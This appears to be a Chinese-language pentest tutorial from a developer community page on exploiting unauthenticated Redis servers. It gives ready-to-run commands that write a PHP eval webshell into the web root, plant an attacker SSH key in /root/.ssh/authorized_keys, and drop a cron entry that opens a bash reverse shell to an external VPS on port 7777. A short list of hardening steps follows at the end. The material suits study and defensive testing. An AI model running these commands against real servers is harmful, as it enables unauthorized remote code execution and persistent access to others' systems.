redis未授权访问利用汇总

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
云原生内存数据库 Tair,内存型 2GB
简介: redis未授权访问利用汇总

环境搭建注意事项:

修改redis.conf配置文件

bind 0.0.0.0
daemoize yes

开启iptables防火墙6379端口

iptables -I INPUT 1 -p tcp -m state --state NEW -m tcp --dport 6379 -j ACCEPT


linux系统安装redis-cli

wget http://download.redis.io/redis-stable.tar.gz
tar -zxf redis-stable.tar.gz
cd redis-stable
make  #编译
cp ./src/redis-cli /usr/bin/        #类似与环境变量 /usr/local/bin

a76216ad2a26002df1e71e36d8982fe3_5dcf4c3c8fd539fa27c4b3891e6aa4ac.png

/usr/bin/ 与/usr/local/bin区别

usr 指 Unix System Resource

/usr/bin 系统预装的一些可执行程序,随系统升级会改变

/usr/local/bin 用户安装的可执行程序,不受系统升级影响,用户编译安装软件时,一般放到/usr/loca/bin目录下

优先级:/usr/local/bin > /usr/bin


redis基础命令:

info  #查看redis的信息和服务器信息
flushall 删除所有数据
del key  删除键为key的数据
get key  获得参数key的数据


使用WIndows平台工具连接redis

  1. telnet连接
telnet 192.168.10.3 6379

  1. RedisDesktopManager 客户端直接连接


背景:

Redis 是一个开源的、使用 C 语言编写的 NoSQL 数据库。

Redis 基于内存运行并支持持久化,采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。

利用原理:

使用redis进行文件写入


利用条件

1. redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。目前比较主流的案例:yam2 minerd 程序,还有在多次应急事件中发现大量的watch-smartd。


2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。


利用方式

CNVD-2019-21763 复现

背景:由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

这里正常连接上了,但是命令执行显示时间超时。


利用redis写webshell

通过phpinfo 或者报错页面获得网站的绝对路径


config set:快捷修改redis配置。

dbfilename :设置快照的文件名,默认是 dump.rdb

dir:默认redis文件保存路径

知道网站路径,然后可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。

命令如下

config set dir /var/www/html/ 
config set dbfilename shell.php 
set x "\r\n\r\n<?php eval($_POST[cmd]);?>\r\n\r\n" 
save


\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

成功在对应的文件夹里找到相应的文件


写ssh-keygen公钥然后使用私钥登陆

服务端存在.ssh目录并且有写入的权限。

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

命令如下:

kali下生成

ssh-keygen -t rsa

在/root/.ssh/id_rsa文件夹下生成了公钥和私钥

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 10.10.10.152 -x set xxx

使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/并保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上。

redis-cli -h 10.10.10.152 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save

在受害机相应路径下传输公钥

ssh连接目标机成功

Redis 写入计划任务

向数据库中插入一对键值(value,key),修改数据库的默认路径设置为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

#反弹shell至vps 7777端口
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.xx.xx/7777 0>&1\n\n"
config set dir /var/spool/cron/crontabs/    #这里是ubuntu计时任务的位置 centos为/var/spool/cron/
config set dbfilename root
save

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行


常见报错

  1. 设置config set dir /var/spool/cron/crontabs/时候可能会出现的错误:

root用户从来没有登录过,如果是靶机练习的话,在靶机上执行ssh localhost 即可设置

  1. (error) ERR Changing directory: Permission denied


说明redis并不是以root启动的


/var/spool/cron/和/etc/crontab的区别

/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件


/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab


windows上的redis如何利用?

1.能够获取web绝对路径的,直接写入webshell


同linux下更换网站目录 webshell写入


2.写入启动项


windows下的开机启动项的目录为


C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/


(同样也要知道对方的用户名,默认administrator)


待续

  1. 写入mof、dll劫持等

待续

参考:windows环境redis未授权利用手法总结 - FreeBuf网络安全行业门户

Redis未授权访问在windows下的利用-安全客 - 安全资讯平台 (anquanke.com)


Redis未授权访问防御方法

在redis安装目录下,正确配置redis.conf文件

  • 默认只对本地开放bind 127.0.0.1
  • 添加登陆密码:修改redis.conf文件,添加requirepass password
  • 在需要对外开放的时候修改默认端口(端口不重复就行)port 2333
  • 配合iptables限制开放
  • 降权:以低权限运行 Redis 服务(重启redis才能生效)
  • 禁止使用root权限启动redis服务
相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
2月前
|
NoSQL 关系型数据库 Redis
Docker的通俗理解和通过宿主机端口访问Redis容器的实例
本文目标:引导初学者入门Docker,理解镜像、容器和宿主机概念,学习常用Docker命令,特别是如何创建并从Redis容器通过宿主机端口访问。 关键点: - Docker核心:镜像(类)、容器(实例)、宿主机(运行环境)。 - `docker pull` 拉取镜像,如 `redis:3.0`。 - `docker run -d --name` 后台运行容器,如 `my-redis`。 - `-p` 参数做端口映射,如 `6379:6379`。 - `docker exec -it` 交互式进入容器,如 `bash` 或执行命令。
206 4
|
8天前
|
NoSQL 关系型数据库 MySQL
无法访问Docker 里的 mysql, redis
无法访问Docker 里的 mysql, redis
9 0
|
1月前
|
数据库 NoSQL Redis
Redis访问模式
【7月更文挑战第17天】
32 2
|
2月前
|
存储 NoSQL Redis
多次访问redis造成redis连接断开的解决方案
多次访问redis造成redis连接断开的解决方案
29 2
|
2月前
|
存储 监控 NoSQL
Redis系列学习文章分享---第十二篇(搭建哨兵集群+RedisTemplate连接哨兵+搭建分片集群+-散列插槽+集群伸缩 +故障转移+RedisTemplate访问分片集群)
Redis系列学习文章分享---第十二篇(搭建哨兵集群+RedisTemplate连接哨兵+搭建分片集群+-散列插槽+集群伸缩 +故障转移+RedisTemplate访问分片集群)
114 0
|
2月前
|
NoSQL 关系型数据库 Serverless
Serverless 应用引擎产品使用合集之连接RDS、Redis等数据库时,是否需要通过安全组来控制访问权限
阿里云Serverless 应用引擎(SAE)提供了完整的微服务应用生命周期管理能力,包括应用部署、服务治理、开发运维、资源管理等功能,并通过扩展功能支持多环境管理、API Gateway、事件驱动等高级应用场景,帮助企业快速构建、部署、运维和扩展微服务架构,实现Serverless化的应用部署与运维模式。以下是对SAE产品使用合集的概述,包括应用管理、服务治理、开发运维、资源管理等方面。
|
3月前
|
缓存 NoSQL Java
【亮剑】分布式锁是保证多服务实例同步的关键机制,常用于互斥访问共享资源、控制访问顺序和系统保护,如何使用注解来实现 Redis 分布式锁的功能?
【4月更文挑战第30天】分布式锁是保证多服务实例同步的关键机制,常用于互斥访问共享资源、控制访问顺序和系统保护。基于 Redis 的分布式锁利用 SETNX 或 SET 命令实现,并考虑自动过期、可重入及原子性以确保可靠性。在 Java Spring Boot 中,可通过 `@EnableCaching`、`@Cacheable` 和 `@CacheEvict` 注解轻松实现 Redis 分布式锁功能。
63 0
|
3月前
|
存储 监控 NoSQL
redis统计访问次数
redis统计访问次数
80 0
|
3月前
|
NoSQL 安全 网络安全
Redis连接:加速数据访问与保障安全传输的关键
Redis连接:加速数据访问与保障安全传输的关键
|
4天前
|
NoSQL 数据可视化 Redis
Mac安装Redis
Mac安装Redis
15 3